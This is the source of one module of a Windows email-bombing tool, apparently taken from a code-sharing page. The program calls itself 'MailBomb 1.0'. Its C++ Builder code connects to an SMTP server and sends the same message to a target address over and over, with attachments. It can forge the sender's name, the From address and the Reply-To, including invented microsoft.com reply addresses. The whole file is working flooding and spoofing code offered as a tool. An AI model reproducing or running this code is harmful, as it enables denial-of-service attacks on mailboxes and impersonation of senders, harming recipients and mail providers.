📄 unit2.cpp
字号:
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit2.h"
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm2 *Form2;
void SendBomb(TForm2 *fr);
int sum,count,TotalSize,MailSize,forms;
bool terminated; AnsiString data;
//---------------------------------------------------------------------------
__fastcall TForm2::TForm2(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm2::NMSMTP1Success(TObject *Sender)
{
count++;TotalSize+=MailSize;
Form1->Memo1->Lines->Add("Send successful!!");
Form1->StaticText1->Caption="已发送邮件:"+IntToStr(count)+"封 "+" 共"+IntToStr(TotalSize)+"Kb";
data=data+IntToStr(count);
NMSMTP1->PostMessage->Body->Text=data;
if(count>sum||terminated) {NMSMTP1->Disconnect();this->Close();}
SendBomb((TForm2*)this);
}
//---------------------------------------------------------------------------
void SendBomb(TForm2 *fr)
{
fr->NMSMTP1->PostMessage->Attachments->Text=Form1->ListBox1->Items->Text;
if(Form1->CheckBox2->Checked)
fr->NMSMTP1->PostMessage->ReplyTo=IntToStr(sum+count)+IntToStr(sum)+"@microsoft.com";
else fr->NMSMTP1->PostMessage->ReplyTo=Form1->Edit4->Text;
fr->NMSMTP1->PostMessage->LocalProgram="MailBomb 1.0";
fr->NMSMTP1->PostMessage->Body->Text=data;
fr->NMSMTP1->PostMessage->FromAddress=Form1->Edit3->Text;
fr->NMSMTP1->PostMessage->FromName=Form1->Edit8->Text;
fr->NMSMTP1->PostMessage->ToAddress->Text=Form1->Edit9->Text;
if(Form1->CheckBox3->Checked) fr->NMSMTP1->PostMessage->Subject=IntToStr(TotalSize);
else fr->NMSMTP1->PostMessage->Subject=Form1->Edit5->Text;
fr->NMSMTP1->SendMail();
}
//-----------------------------------
void __fastcall TForm2::NMSMTP1Connect(TObject *Sender)
{
Form1->SpeedButton4->Enabled=false;
Form1->SpeedButton5->Enabled=true;
Form1->Memo1->Lines->Add("Connected.\r\nSending email.......");
SendBomb((TForm2*)this);
}
//---------------------------------------------------------------------------
void __fastcall TForm2::NMSMTP1ConnectionFailed(TObject *Sender)
{
terminated=true;
}
//---------------------------------------------------------------------------
void __fastcall TForm2::Timer1Timer(TObject *Sender)
{
if(terminated){
if(NMSMTP1->Connected)NMSMTP1->Disconnect();
this->Close();
}
}
//---------------------------------------------------------------------------
void __fastcall TForm2::NMSMTP1InvalidHost(bool &Handled)
{
Form1->Memo1->Lines->Add("InvalidHost");
this->Close();
}
//---------------------------------------------------------------------------
void __fastcall TForm2::FormClose(TObject *Sender, TCloseAction &Action)
{
forms--;
Form1->StaticText3->Caption=IntToStr(forms);
if(forms<=0){
Form1->SpeedButton4->Enabled=true;
Form1->SpeedButton5->Enabled=false;
forms==0;
}
}
//---------------------------------------------------------------------------
void __fastcall TForm2::NMSMTP1Failure(TObject *Sender)
{
Form1->Memo1->Lines->Add("SendFailure");
this->Close();
}
//---------------------------------------------------------------------------
void __fastcall TForm2::FormPaint(TObject *Sender)
{
NMSMTP1->Host=Form1->Edit1->Text;
NMSMTP1->Port=StrToInt(Form1->Edit2->Text);
NMSMTP1->UserID=Form1->Edit7->Text;
data=Form1->Memo1->Text;
try{NMSMTP1->Connect();}catch(Exception &e){}
}
//---------------------------------------------------------------------------
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -